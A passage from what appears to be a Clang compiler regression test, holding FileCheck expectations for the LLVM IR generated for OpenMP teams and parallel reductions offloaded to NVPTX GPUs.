@[[GLOB1]], i8 2, i1 false, i1 true) // CHECK3-NEXT: [[EXEC_USER_CODE:%.*]] = icmp eq i32 [[TMP0]], -1 // CHECK3-NEXT: br i1 [[EXEC_USER_CODE]], label [[USER_CODE_ENTRY:%.*]], label [[WORKER_EXIT:%.*]] // CHECK3: user_code.entry: // CHECK3-NEXT: [[TMP1:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3:[0-9]+]]) // CHECK3-NEXT: store i32 0, i32* [[DOTZERO_ADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTTHREADID_TEMP_]], align 4 // CHECK3-NEXT: call void @__omp_outlined__9(i32* [[DOTTHREADID_TEMP_]], i32* [[DOTZERO_ADDR]], i32* [[A_ADDR]], i16* [[CONV]]) #[[ATTR3]] // CHECK3-NEXT: call void @__kmpc_target_deinit(%struct.ident_t* @[[GLOB1]], i8 2, i1 true) // CHECK3-NEXT: ret void // CHECK3: worker.exit: // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@__omp_outlined__9 // CHECK3-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i32* nonnull align 4 dereferenceable(4) [[A:%.*]], i16* nonnull align 2 dereferenceable(2) [[B:%.*]]) #[[ATTR0]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK3-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK3-NEXT: [[A_ADDR:%.*]] = alloca i32*, align 4 // CHECK3-NEXT: [[B_ADDR:%.*]] = alloca i16*, align 4 // CHECK3-NEXT: [[A1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[B2:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[CAPTURED_VARS_ADDRS:%.*]] = alloca [2 x i8*], align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK3-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK3-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK3-NEXT: store i32* [[A]], i32** [[A_ADDR]], align 4 // CHECK3-NEXT: store i16* [[B]], i16** [[B_ADDR]], align 4 // CHECK3-NEXT: [[TMP0:%.*]] = load i32*, i32** [[A_ADDR]], align 4 // CHECK3-NEXT: [[TMP1:%.*]] = load i16*, i16** [[B_ADDR]], align 4 // CHECK3-NEXT: store i32 0, i32* [[A1]], align 4 // CHECK3-NEXT: store i16 -32768, i16* [[B2]], align 2 // CHECK3-NEXT: [[TMP2:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[CAPTURED_VARS_ADDRS]], i32 0, i32 0 // CHECK3-NEXT: [[TMP3:%.*]] = bitcast i32* [[A1]] to i8* // CHECK3-NEXT: store i8* [[TMP3]], i8** [[TMP2]], align 4 // CHECK3-NEXT: [[TMP4:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[CAPTURED_VARS_ADDRS]], i32 0, i32 1 // CHECK3-NEXT: [[TMP5:%.*]] = bitcast i16* [[B2]] to i8* // CHECK3-NEXT: store i8* [[TMP5]], i8** [[TMP4]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK3-NEXT: [[TMP7:%.*]] = load i32, i32* [[TMP6]], align 4 // CHECK3-NEXT: [[TMP8:%.*]] = bitcast [2 x i8*]* [[CAPTURED_VARS_ADDRS]] to i8** // CHECK3-NEXT: call void @__kmpc_parallel_51(%struct.ident_t* @[[GLOB3]], i32 [[TMP7]], i32 1, i32 -1, i32 -1, i8* bitcast (void (i32*, i32*, i32*, i16*)* @__omp_outlined__10 to i8*), i8* null, i8** [[TMP8]], i32 2) // CHECK3-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[TMP10:%.*]] = bitcast i32* [[A1]] to i8* // CHECK3-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 4 // CHECK3-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK3-NEXT: [[TMP12:%.*]] = bitcast i16* [[B2]] to i8* // CHECK3-NEXT: store i8* [[TMP12]], i8** [[TMP11]], align 4 // CHECK3-NEXT: [[TMP13:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK3-NEXT: [[TMP14:%.*]] = load i8*, i8** @"_openmp_teams_reductions_buffer_$_$ptr", align 4 // CHECK3-NEXT: [[TMP15:%.*]] = call i32 @__kmpc_nvptx_teams_reduce_nowait_v2(%struct.ident_t* @[[GLOB3]], i32 [[TMP7]], i8* [[TMP14]], i32 2048, i8* [[TMP13]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func15, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func16, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_copy_func17, void (i8*, i32, i8*)* @_omp_reduction_list_to_global_reduce_func18, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_copy_func19, void (i8*, i32, i8*)* @_omp_reduction_global_to_list_reduce_func20) // CHECK3-NEXT: [[TMP16:%.*]] = icmp eq i32 [[TMP15]], 1 // CHECK3-NEXT: br i1 [[TMP16]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK3: .omp.reduction.then: // CHECK3-NEXT: [[TMP17:%.*]] = load i32, i32* [[TMP0]], align 4 // CHECK3-NEXT: [[TMP18:%.*]] = load i32, i32* [[A1]], align 4 // CHECK3-NEXT: [[OR:%.*]] = or i32 [[TMP17]], [[TMP18]] // CHECK3-NEXT: store i32 [[OR]], i32* [[TMP0]], align 4 // CHECK3-NEXT: [[TMP19:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK3-NEXT: [[CONV:%.*]] = sext i16 [[TMP19]] to i32 // CHECK3-NEXT: [[TMP20:%.*]] = load i16, i16* [[B2]], align 2 // CHECK3-NEXT: [[CONV3:%.*]] = sext i16 [[TMP20]] to i32 // CHECK3-NEXT: [[CMP:%.*]] = icmp sgt i32 [[CONV]], [[CONV3]] // CHECK3-NEXT: br i1 [[CMP]], label [[COND_TRUE:%.*]], label [[COND_FALSE:%.*]] // CHECK3: cond.true: // CHECK3-NEXT: [[TMP21:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK3-NEXT: br label [[COND_END:%.*]] // CHECK3: cond.false: // CHECK3-NEXT: [[TMP22:%.*]] = load i16, i16* [[B2]], align 2 // CHECK3-NEXT: br label [[COND_END]] // CHECK3: cond.end: // CHECK3-NEXT: [[COND:%.*]] = phi i16 [ [[TMP21]], [[COND_TRUE]] ], [ [[TMP22]], [[COND_FALSE]] ] // CHECK3-NEXT: store i16 [[COND]], i16* [[TMP1]], align 2 // CHECK3-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP7]]) // CHECK3-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK3: .omp.reduction.done: // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@__omp_outlined__10 // CHECK3-SAME: (i32* noalias [[DOTGLOBAL_TID_:%.*]], i32* noalias [[DOTBOUND_TID_:%.*]], i32* nonnull align 4 dereferenceable(4) [[A:%.*]], i16* nonnull align 2 dereferenceable(2) [[B:%.*]]) #[[ATTR0]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTGLOBAL_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK3-NEXT: [[DOTBOUND_TID__ADDR:%.*]] = alloca i32*, align 4 // CHECK3-NEXT: [[A_ADDR:%.*]] = alloca i32*, align 4 // CHECK3-NEXT: [[B_ADDR:%.*]] = alloca i16*, align 4 // CHECK3-NEXT: [[A1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[B2:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[DOTOMP_REDUCTION_RED_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK3-NEXT: store i32* [[DOTGLOBAL_TID_]], i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK3-NEXT: store i32* [[DOTBOUND_TID_]], i32** [[DOTBOUND_TID__ADDR]], align 4 // CHECK3-NEXT: store i32* [[A]], i32** [[A_ADDR]], align 4 // CHECK3-NEXT: store i16* [[B]], i16** [[B_ADDR]], align 4 // CHECK3-NEXT: [[TMP0:%.*]] = load i32*, i32** [[A_ADDR]], align 4 // CHECK3-NEXT: [[TMP1:%.*]] = load i16*, i16** [[B_ADDR]], align 4 // CHECK3-NEXT: store i32 0, i32* [[A1]], align 4 // CHECK3-NEXT: store i16 -32768, i16* [[B2]], align 2 // CHECK3-NEXT: [[TMP2:%.*]] = load i32, i32* [[A1]], align 4 // CHECK3-NEXT: [[OR:%.*]] = or i32 [[TMP2]], 1 // CHECK3-NEXT: store i32 [[OR]], i32* [[A1]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = load i16, i16* [[B2]], align 2 // CHECK3-NEXT: [[CONV:%.*]] = sext i16 [[TMP3]] to i32 // CHECK3-NEXT: [[CMP:%.*]] = icmp sgt i32 99, [[CONV]] // CHECK3-NEXT: br i1 [[CMP]], label [[COND_TRUE:%.*]], label [[COND_FALSE:%.*]] // CHECK3: cond.true: // CHECK3-NEXT: br label [[COND_END:%.*]] // CHECK3: cond.false: // CHECK3-NEXT: [[TMP4:%.*]] = load i16, i16* [[B2]], align 2 // CHECK3-NEXT: [[CONV3:%.*]] = sext i16 [[TMP4]] to i32 // CHECK3-NEXT: br label [[COND_END]] // CHECK3: cond.end: // CHECK3-NEXT: [[COND:%.*]] = phi i32 [ 99, [[COND_TRUE]] ], [ [[CONV3]], [[COND_FALSE]] ] // CHECK3-NEXT: [[CONV4:%.*]] = trunc i32 [[COND]] to i16 // CHECK3-NEXT: store i16 [[CONV4]], i16* [[B2]], align 2 // CHECK3-NEXT: [[TMP5:%.*]] = load i32*, i32** [[DOTGLOBAL_TID__ADDR]], align 4 // CHECK3-NEXT: [[TMP6:%.*]] = load i32, i32* [[TMP5]], align 4 // CHECK3-NEXT: [[TMP7:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[TMP8:%.*]] = bitcast i32* [[A1]] to i8* // CHECK3-NEXT: store i8* [[TMP8]], i8** [[TMP7]], align 4 // CHECK3-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]], i32 0, i32 1 // CHECK3-NEXT: [[TMP10:%.*]] = bitcast i16* [[B2]] to i8* // CHECK3-NEXT: store i8* [[TMP10]], i8** [[TMP9]], align 4 // CHECK3-NEXT: [[TMP11:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_RED_LIST]] to i8* // CHECK3-NEXT: [[TMP12:%.*]] = call i32 @__kmpc_nvptx_parallel_reduce_nowait_v2(%struct.ident_t* @[[GLOB3]], i32 [[TMP6]], i32 2, i32 8, i8* [[TMP11]], void (i8*, i16, i16, i16)* @_omp_reduction_shuffle_and_reduce_func12, void (i8*, i32)* @_omp_reduction_inter_warp_copy_func13) // CHECK3-NEXT: [[TMP13:%.*]] = icmp eq i32 [[TMP12]], 1 // CHECK3-NEXT: br i1 [[TMP13]], label [[DOTOMP_REDUCTION_THEN:%.*]], label [[DOTOMP_REDUCTION_DONE:%.*]] // CHECK3: .omp.reduction.then: // CHECK3-NEXT: [[TMP14:%.*]] = load i32, i32* [[TMP0]], align 4 // CHECK3-NEXT: [[TMP15:%.*]] = load i32, i32* [[A1]], align 4 // CHECK3-NEXT: [[OR5:%.*]] = or i32 [[TMP14]], [[TMP15]] // CHECK3-NEXT: store i32 [[OR5]], i32* [[TMP0]], align 4 // CHECK3-NEXT: [[TMP16:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK3-NEXT: [[CONV6:%.*]] = sext i16 [[TMP16]] to i32 // CHECK3-NEXT: [[TMP17:%.*]] = load i16, i16* [[B2]], align 2 // CHECK3-NEXT: [[CONV7:%.*]] = sext i16 [[TMP17]] to i32 // CHECK3-NEXT: [[CMP8:%.*]] = icmp sgt i32 [[CONV6]], [[CONV7]] // CHECK3-NEXT: br i1 [[CMP8]], label [[COND_TRUE9:%.*]], label [[COND_FALSE10:%.*]] // CHECK3: cond.true9: // CHECK3-NEXT: [[TMP18:%.*]] = load i16, i16* [[TMP1]], align 2 // CHECK3-NEXT: br label [[COND_END11:%.*]] // CHECK3: cond.false10: // CHECK3-NEXT: [[TMP19:%.*]] = load i16, i16* [[B2]], align 2 // CHECK3-NEXT: br label [[COND_END11]] // CHECK3: cond.end11: // CHECK3-NEXT: [[COND12:%.*]] = phi i16 [ [[TMP18]], [[COND_TRUE9]] ], [ [[TMP19]], [[COND_FALSE10]] ] // CHECK3-NEXT: store i16 [[COND12]], i16* [[TMP1]], align 2 // CHECK3-NEXT: call void @__kmpc_nvptx_end_reduce_nowait(i32 [[TMP6]]) // CHECK3-NEXT: br label [[DOTOMP_REDUCTION_DONE]] // CHECK3: .omp.reduction.done: // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func12 // CHECK3-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[DOTADDR2:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[DOTADDR3:%.*]] = alloca i16, align 2 // CHECK3-NEXT: [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST:%.*]] = alloca [2 x i8*], align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_ELEMENT:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[DOTOMP_REDUCTION_ELEMENT4:%.*]] = alloca i16, align 2 // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i16 [[TMP1]], i16* [[DOTADDR1]], align 2 // CHECK3-NEXT: store i16 [[TMP2]], i16* [[DOTADDR2]], align 2 // CHECK3-NEXT: store i16 [[TMP3]], i16* [[DOTADDR3]], align 2 // CHECK3-NEXT: [[TMP4:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP5:%.*]] = bitcast i8* [[TMP4]] to [2 x i8*]* // CHECK3-NEXT: [[TMP6:%.*]] = load i16, i16* [[DOTADDR1]], align 2 // CHECK3-NEXT: [[TMP7:%.*]] = load i16, i16* [[DOTADDR2]], align 2 // CHECK3-NEXT: [[TMP8:%.*]] = load i16, i16* [[DOTADDR3]], align 2 // CHECK3-NEXT: [[TMP9:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK3-NEXT: [[TMP10:%.*]] = load i8*, i8** [[TMP9]], align 4 // CHECK3-NEXT: [[TMP11:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[TMP12:%.*]] = bitcast i8* [[TMP10]] to i32* // CHECK3-NEXT: [[TMP13:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK3-NEXT: [[TMP14:%.*]] = bitcast i32* [[TMP13]] to i8* // CHECK3-NEXT: [[TMP15:%.*]] = load i32, i32* [[TMP12]], align 4 // CHECK3-NEXT: [[TMP16:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK3-NEXT: [[TMP17:%.*]] = trunc i32 [[TMP16]] to i16 // CHECK3-NEXT: [[TMP18:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP15]], i16 [[TMP7]], i16 [[TMP17]]) // CHECK3-NEXT: store i32 [[TMP18]], i32* [[DOTOMP_REDUCTION_ELEMENT]], align 4 // CHECK3-NEXT: [[TMP19:%.*]] = getelementptr i32, i32* [[TMP12]], i32 1 // CHECK3-NEXT: [[TMP20:%.*]] = getelementptr i32, i32* [[DOTOMP_REDUCTION_ELEMENT]], i32 1 // CHECK3-NEXT: [[TMP21:%.*]] = bitcast i32* [[DOTOMP_REDUCTION_ELEMENT]] to i8* // CHECK3-NEXT: store i8* [[TMP21]], i8** [[TMP11]], align 4 // CHECK3-NEXT: [[TMP22:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK3-NEXT: [[TMP23:%.*]] = load i8*, i8** [[TMP22]], align 4 // CHECK3-NEXT: [[TMP24:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK3-NEXT: [[TMP25:%.*]] = bitcast i8* [[TMP23]] to i16* // CHECK3-NEXT: [[TMP26:%.*]] = getelementptr i16, i16* [[TMP25]], i32 1 // CHECK3-NEXT: [[TMP27:%.*]] = bitcast i16* [[TMP26]] to i8* // CHECK3-NEXT: [[TMP28:%.*]] = load i16, i16* [[TMP25]], align 2 // CHECK3-NEXT: [[TMP29:%.*]] = sext i16 [[TMP28]] to i32 // CHECK3-NEXT: [[TMP30:%.*]] = call i32 @__kmpc_get_warp_size() // CHECK3-NEXT: [[TMP31:%.*]] = trunc i32 [[TMP30]] to i16 // CHECK3-NEXT: [[TMP32:%.*]] = call i32 @__kmpc_shuffle_int32(i32 [[TMP29]], i16 [[TMP7]], i16 [[TMP31]]) // CHECK3-NEXT: [[TMP33:%.*]] = trunc i32 [[TMP32]] to i16 // CHECK3-NEXT: store i16 [[TMP33]], i16* [[DOTOMP_REDUCTION_ELEMENT4]], align 2 // CHECK3-NEXT: [[TMP34:%.*]] = getelementptr i16, i16* [[TMP25]], i32 1 // CHECK3-NEXT: [[TMP35:%.*]] = getelementptr i16, i16* [[DOTOMP_REDUCTION_ELEMENT4]], i32 1 // CHECK3-NEXT: [[TMP36:%.*]] = bitcast i16* [[DOTOMP_REDUCTION_ELEMENT4]] to i8* // CHECK3-NEXT: store i8* [[TMP36]], i8** [[TMP24]], align 4 // CHECK3-NEXT: [[TMP37:%.*]] = icmp eq i16 [[TMP8]], 0 // CHECK3-NEXT: [[TMP38:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK3-NEXT: [[TMP39:%.*]] = icmp ult i16 [[TMP6]], [[TMP7]] // CHECK3-NEXT: [[TMP40:%.*]] = and i1 [[TMP38]], [[TMP39]] // CHECK3-NEXT: [[TMP41:%.*]] = icmp eq i16 [[TMP8]], 2 // CHECK3-NEXT: [[TMP42:%.*]] = and i16 [[TMP6]], 1 // CHECK3-NEXT: [[TMP43:%.*]] = icmp eq i16 [[TMP42]], 0 // CHECK3-NEXT: [[TMP44:%.*]] = and i1 [[TMP41]], [[TMP43]] // CHECK3-NEXT: [[TMP45:%.*]] = icmp sgt i16 [[TMP7]], 0 // CHECK3-NEXT: [[TMP46:%.*]] = and i1 [[TMP44]], [[TMP45]] // CHECK3-NEXT: [[TMP47:%.*]] = or i1 [[TMP37]], [[TMP40]] // CHECK3-NEXT: [[TMP48:%.*]] = or i1 [[TMP47]], [[TMP46]] // CHECK3-NEXT: br i1 [[TMP48]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK3: then: // CHECK3-NEXT: [[TMP49:%.*]] = bitcast [2 x i8*]* [[TMP5]] to i8* // CHECK3-NEXT: [[TMP50:%.*]] = bitcast [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]] to i8* // CHECK3-NEXT: call void @"_omp$reduction$reduction_func11"(i8* [[TMP49]], i8* [[TMP50]]) #[[ATTR3]] // CHECK3-NEXT: br label [[IFCONT:%.*]] // CHECK3: else: // CHECK3-NEXT: br label [[IFCONT]] // CHECK3: ifcont: // CHECK3-NEXT: [[TMP51:%.*]] = icmp eq i16 [[TMP8]], 1 // CHECK3-NEXT: [[TMP52:%.*]] = icmp uge i16 [[TMP6]], [[TMP7]] // CHECK3-NEXT: [[TMP53:%.*]] = and i1 [[TMP51]], [[TMP52]] // CHECK3-NEXT: br i1 [[TMP53]], label [[THEN5:%.*]], label [[ELSE6:%.*]] // CHECK3: then5: // CHECK3-NEXT: [[TMP54:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 0 // CHECK3-NEXT: [[TMP55:%.*]] = load i8*, i8** [[TMP54]], align 4 // CHECK3-NEXT: [[TMP56:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 0 // CHECK3-NEXT: [[TMP57:%.*]] = load i8*, i8** [[TMP56]], align 4 // CHECK3-NEXT: [[TMP58:%.*]] = bitcast i8* [[TMP55]] to i32* // CHECK3-NEXT: [[TMP59:%.*]] = bitcast i8* [[TMP57]] to i32* // CHECK3-NEXT: [[TMP60:%.*]] = load i32, i32* [[TMP58]], align 4 // CHECK3-NEXT: store i32 [[TMP60]], i32* [[TMP59]], align 4 // CHECK3-NEXT: [[TMP61:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[DOTOMP_REDUCTION_REMOTE_REDUCE_LIST]], i32 0, i32 1 // CHECK3-NEXT: [[TMP62:%.*]] = load i8*, i8** [[TMP61]], align 4 // CHECK3-NEXT: [[TMP63:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP5]], i32 0, i32 1 // CHECK3-NEXT: [[TMP64:%.*]] = load i8*, i8** [[TMP63]], align 4 // CHECK3-NEXT: [[TMP65:%.*]] = bitcast i8* [[TMP62]] to i16* // CHECK3-NEXT: [[TMP66:%.*]] = bitcast i8* [[TMP64]] to i16* // CHECK3-NEXT: [[TMP67:%.*]] = load i16, i16* [[TMP65]], align 2 // CHECK3-NEXT: store i16 [[TMP67]], i16* [[TMP66]], align 2 // CHECK3-NEXT: br label [[IFCONT7:%.*]] // CHECK3: else6: // CHECK3-NEXT: br label [[IFCONT7]] // CHECK3: ifcont7: // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_inter_warp_copy_func13 // CHECK3-SAME: (i8* [[TMP0:%.*]], i32 [[TMP1:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: [[DOTADDR:%.*]] = alloca i8*, align 4 // CHECK3-NEXT: [[DOTADDR1:%.*]] = alloca i32, align 4 // CHECK3-NEXT: [[TMP2:%.*]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @[[GLOB3]]) // CHECK3-NEXT: store i8* [[TMP0]], i8** [[DOTADDR]], align 4 // CHECK3-NEXT: store i32 [[TMP1]], i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[TMP3:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK3-NEXT: [[TMP4:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK3-NEXT: [[NVPTX_LANE_ID:%.*]] = and i32 [[TMP4]], 31 // CHECK3-NEXT: [[TMP5:%.*]] = call i32 @__kmpc_get_hardware_thread_id_in_block() // CHECK3-NEXT: [[NVPTX_WARP_ID:%.*]] = ashr i32 [[TMP5]], 5 // CHECK3-NEXT: [[TMP6:%.*]] = load i8*, i8** [[DOTADDR]], align 4 // CHECK3-NEXT: [[TMP7:%.*]] = bitcast i8* [[TMP6]] to [2 x i8*]* // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4:[0-9]+]], i32 [[TMP2]]) // CHECK3-NEXT: [[WARP_MASTER:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK3-NEXT: br i1 [[WARP_MASTER]], label [[THEN:%.*]], label [[ELSE:%.*]] // CHECK3: then: // CHECK3-NEXT: [[TMP8:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK3-NEXT: [[TMP9:%.*]] = load i8*, i8** [[TMP8]], align 4 // CHECK3-NEXT: [[TMP10:%.*]] = bitcast i8* [[TMP9]] to i32* // CHECK3-NEXT: [[TMP11:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK3-NEXT: [[TMP12:%.*]] = load i32, i32* [[TMP10]], align 4 // CHECK3-NEXT: store volatile i32 [[TMP12]], i32 addrspace(3)* [[TMP11]], align 4 // CHECK3-NEXT: br label [[IFCONT:%.*]] // CHECK3: else: // CHECK3-NEXT: br label [[IFCONT]] // CHECK3: ifcont: // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK3-NEXT: [[TMP13:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[IS_ACTIVE_THREAD:%.*]] = icmp ult i32 [[TMP3]], [[TMP13]] // CHECK3-NEXT: br i1 [[IS_ACTIVE_THREAD]], label [[THEN2:%.*]], label [[ELSE3:%.*]] // CHECK3: then2: // CHECK3-NEXT: [[TMP14:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK3-NEXT: [[TMP15:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 0 // CHECK3-NEXT: [[TMP16:%.*]] = load i8*, i8** [[TMP15]], align 4 // CHECK3-NEXT: [[TMP17:%.*]] = bitcast i8* [[TMP16]] to i32* // CHECK3-NEXT: [[TMP18:%.*]] = load volatile i32, i32 addrspace(3)* [[TMP14]], align 4 // CHECK3-NEXT: store i32 [[TMP18]], i32* [[TMP17]], align 4 // CHECK3-NEXT: br label [[IFCONT4:%.*]] // CHECK3: else3: // CHECK3-NEXT: br label [[IFCONT4]] // CHECK3: ifcont4: // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK3-NEXT: [[WARP_MASTER5:%.*]] = icmp eq i32 [[NVPTX_LANE_ID]], 0 // CHECK3-NEXT: br i1 [[WARP_MASTER5]], label [[THEN6:%.*]], label [[ELSE7:%.*]] // CHECK3: then6: // CHECK3-NEXT: [[TMP19:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 1 // CHECK3-NEXT: [[TMP20:%.*]] = load i8*, i8** [[TMP19]], align 4 // CHECK3-NEXT: [[TMP21:%.*]] = bitcast i8* [[TMP20]] to i16* // CHECK3-NEXT: [[TMP22:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[NVPTX_WARP_ID]] // CHECK3-NEXT: [[TMP23:%.*]] = bitcast i32 addrspace(3)* [[TMP22]] to i16 addrspace(3)* // CHECK3-NEXT: [[TMP24:%.*]] = load i16, i16* [[TMP21]], align 2 // CHECK3-NEXT: store volatile i16 [[TMP24]], i16 addrspace(3)* [[TMP23]], align 2 // CHECK3-NEXT: br label [[IFCONT8:%.*]] // CHECK3: else7: // CHECK3-NEXT: br label [[IFCONT8]] // CHECK3: ifcont8: // CHECK3-NEXT: call void @__kmpc_barrier(%struct.ident_t* @[[GLOB4]], i32 [[TMP2]]) // CHECK3-NEXT: [[TMP25:%.*]] = load i32, i32* [[DOTADDR1]], align 4 // CHECK3-NEXT: [[IS_ACTIVE_THREAD9:%.*]] = icmp ult i32 [[TMP3]], [[TMP25]] // CHECK3-NEXT: br i1 [[IS_ACTIVE_THREAD9]], label [[THEN10:%.*]], label [[ELSE11:%.*]] // CHECK3: then10: // CHECK3-NEXT: [[TMP26:%.*]] = getelementptr inbounds [32 x i32], [32 x i32] addrspace(3)* @__openmp_nvptx_data_transfer_temporary_storage, i64 0, i32 [[TMP3]] // CHECK3-NEXT: [[TMP27:%.*]] = bitcast i32 addrspace(3)* [[TMP26]] to i16 addrspace(3)* // CHECK3-NEXT: [[TMP28:%.*]] = getelementptr inbounds [2 x i8*], [2 x i8*]* [[TMP7]], i32 0, i32 1 // CHECK3-NEXT: [[TMP29:%.*]] = load i8*, i8** [[TMP28]], align 4 // CHECK3-NEXT: [[TMP30:%.*]] = bitcast i8* [[TMP29]] to i16* // CHECK3-NEXT: [[TMP31:%.*]] = load volatile i16, i16 addrspace(3)* [[TMP27]], align 2 // CHECK3-NEXT: store i16 [[TMP31]], i16* [[TMP30]], align 2 // CHECK3-NEXT: br label [[IFCONT12:%.*]] // CHECK3: else11: // CHECK3-NEXT: br label [[IFCONT12]] // CHECK3: ifcont12: // CHECK3-NEXT: ret void // // // CHECK3-LABEL: define {{[^@]+}}@_omp_reduction_shuffle_and_reduce_func15 // CHECK3-SAME: (i8* [[TMP0:%.*]], i16 signext [[TMP1:%.*]], i16 signext [[TMP2:%.*]], i16 signext [[TMP3:%.*]]) #[[ATTR2]] { // CHECK3-NEXT: entry: // CHECK3-NEXT: 